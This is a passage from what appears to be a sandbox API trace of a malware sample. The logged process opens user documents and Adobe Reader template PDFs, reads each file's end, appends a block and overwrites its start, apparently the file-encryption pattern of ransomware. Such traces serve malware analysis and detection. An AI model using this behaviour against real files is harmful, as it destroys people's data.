(hMutex=0x128) returned 1 [0031.853] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Yx6VyYSZGTItiuaP9AhS.xlsx", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0031.853] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Yx6VyYSZGTItiuaP9AhS.xlsx", cchWideChar=25, lpMultiByteStr=0x1e7fc3c, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Yx6VyYSZGTItiuaP9AhS.xlsx", lpUsedDefaultChar=0x0) returned 25 [0031.853] ReadFile (in: hFile=0x184, lpBuffer=0x2511c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x2511c78*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0031.854] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x2b8a [0031.854] ReadFile (in: hFile=0x184, lpBuffer=0x1df1e18, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1e18*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0031.854] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x2b8a [0031.854] WriteFile (in: hFile=0x184, lpBuffer=0x1defde8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0031.854] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0031.854] WriteFile (in: hFile=0x184, lpBuffer=0x1defde8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesWritten=0x2b0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0031.854] CloseHandle (hObject=0x184) returned 1 [0031.855] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ML4wSod4aTRjVy6SEl.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ml4wsod4atrjvy6sel.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0031.855] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0031.855] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x79e6 [0031.855] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0031.856] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0031.856] ReleaseMutex (hMutex=0x128) returned 1 [0031.856] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ML4wSod4aTRjVy6SEl.docx", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0031.856] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ML4wSod4aTRjVy6SEl.docx", cchWideChar=23, lpMultiByteStr=0x1e78bcc, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ML4wSod4aTRjVy6SEl.docx", lpUsedDefaultChar=0x0) returned 23 [0031.856] ReadFile (in: hFile=0x184, lpBuffer=0x2511c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x2511c78*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0031.856] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x69e6 [0031.856] ReadFile (in: hFile=0x184, lpBuffer=0x1df1e18, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1e18*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0031.857] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x69e6 [0031.857] WriteFile (in: hFile=0x184, lpBuffer=0x1defde8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0031.857] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0031.857] WriteFile (in: hFile=0x184, lpBuffer=0x1defde8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesWritten=0x2b0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0031.857] CloseHandle (hObject=0x184) returned 1 [0031.858] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FMeUiSrQlp.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\fmeuisrqlp.odt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0031.858] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0031.858] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x10660 [0031.858] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0031.858] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0031.858] ReleaseMutex (hMutex=0x128) returned 1 [0031.858] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="FMeUiSrQlp.odt", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0031.858] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="FMeUiSrQlp.odt", cchWideChar=14, lpMultiByteStr=0x1e6326c, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="FMeUiSrQlp.odt", lpUsedDefaultChar=0x0) returned 14 [0031.858] ReadFile (in: hFile=0x184, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x2b0f278*=0x4000, lpOverlapped=0x0) returned 1 [0031.859] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0xf660 [0031.859] ReadFile (in: hFile=0x184, lpBuffer=0x2511c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x2511c78*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0031.859] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0xf660 [0031.859] WriteFile (in: hFile=0x184, lpBuffer=0x2511c78*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2511c78*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0031.859] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0031.859] WriteFile (in: hFile=0x184, lpBuffer=0x1defde8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesWritten=0x2b0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0031.859] CloseHandle (hObject=0x184) returned 1 [0031.861] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHT\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\cht\\defaultid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0031.861] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0031.861] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x510a [0031.862] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0031.862] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0031.862] ReleaseMutex (hMutex=0x128) returned 1 [0031.862] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0031.862] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x1e631ec, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefaultID.pdf", lpUsedDefaultChar=0x0) returned 13 [0031.862] ReadFile (in: hFile=0x184, lpBuffer=0x2511c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x2511c78*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0031.877] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x410a [0031.877] ReadFile (in: hFile=0x184, lpBuffer=0x1df1e18, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1e18*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0031.968] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x410a [0031.969] WriteFile (in: hFile=0x184, lpBuffer=0x25c7dd8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0031.969] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0031.970] WriteFile (in: hFile=0x184, lpBuffer=0x25c4dd8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c4dd8*, lpNumberOfBytesWritten=0x2b0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0031.970] CloseHandle (hObject=0x184) returned 1 [0031.975] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\esp\\defaultid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0031.975] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0031.975] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x104bf [0031.975] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0031.975] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0031.975] ReleaseMutex (hMutex=0x128) returned 1 [0031.975] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0031.975] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x1e631ec, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefaultID.pdf", lpUsedDefaultChar=0x0) returned 13 [0031.976] ReadFile (in: hFile=0x184, lpBuffer=0x25c3da8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesRead=0x2b0f278*=0x4000, lpOverlapped=0x0) returned 1 [0031.977] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0xf4bf [0031.977] ReadFile (in: hFile=0x184, lpBuffer=0x2512ca8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x2512ca8*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0031.978] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0xf4bf [0031.979] WriteFile (in: hFile=0x184, lpBuffer=0x2512ca8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2512ca8*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0031.979] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0031.979] WriteFile (in: hFile=0x184, lpBuffer=0x25c7dd8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesWritten=0x2b0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0031.979] CloseHandle (hObject=0x184) returned 1 [0031.980] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\jpn\\defaultid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0031.980] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0031.981] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x5404 [0031.981] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0031.981] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0031.981] ReleaseMutex (hMutex=0x128) returned 1 [0031.981] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0031.981] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x1e6326c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefaultID.pdf", lpUsedDefaultChar=0x0) returned 13 [0031.981] ReadFile (in: hFile=0x184, lpBuffer=0x2512ca8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x2512ca8*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0031.982] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x4404 [0031.982] ReadFile (in: hFile=0x184, lpBuffer=0x2512ca8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x2512ca8*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0031.983] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x4404 [0031.983] WriteFile (in: hFile=0x184, lpBuffer=0x2512ca8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2512ca8*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0031.983] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0031.983] WriteFile (in: hFile=0x184, lpBuffer=0x2512ca8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2512ca8*, lpNumberOfBytesWritten=0x2b0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0031.983] CloseHandle (hObject=0x184) returned 1 [0031.984] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ptb\\defaultid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0031.984] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0031.984] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x10f09 [0031.985] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0031.985] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0031.985] ReleaseMutex (hMutex=0x128) returned 1 [0031.985] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0031.985] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x1e631ec, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefaultID.pdf", lpUsedDefaultChar=0x0) returned 13 [0031.985] ReadFile (in: hFile=0x184, lpBuffer=0x25c3da8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesRead=0x2b0f278*=0x4000, lpOverlapped=0x0) returned 1 [0031.986] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0xff09 [0031.987] ReadFile (in: hFile=0x184, lpBuffer=0x2512ca8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x2512ca8*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0031.987] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0xff09 [0031.987] WriteFile (in: hFile=0x184, lpBuffer=0x2512ca8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2512ca8*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0031.988] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0031.988] WriteFile (in: hFile=0x184, lpBuffer=0x25c7dd8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesWritten=0x2b0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0031.988] CloseHandle (hObject=0x184) returned 1 [0031.989] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\suo\\defaultid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0031.989] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0031.989] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x102c8 [0031.989] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0031.989] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0031.989] ReleaseMutex (hMutex=0x128) returned 1 [0031.989] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0031.989] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x1e6326c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefaultID.pdf", lpUsedDefaultChar=0x0) returned 13 [0031.989] ReadFile (in: hFile=0x184, lpBuffer=0x25c3da8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesRead=0x2b0f278*=0x4000, lpOverlapped=0x0) returned 1 [0031.991] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0xf2c8 [0031.991] ReadFile (in: hFile=0x184, lpBuffer=0x2512ca8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x2512ca8*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0031.992] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0xf2c8 [0031.992] WriteFile (in: hFile=0x184, lpBuffer=0x2512ca8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2512ca8*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0031.993] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0031.993] WriteFile (in: hFile=0x184, lpBuffer=0x25c7dd8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: 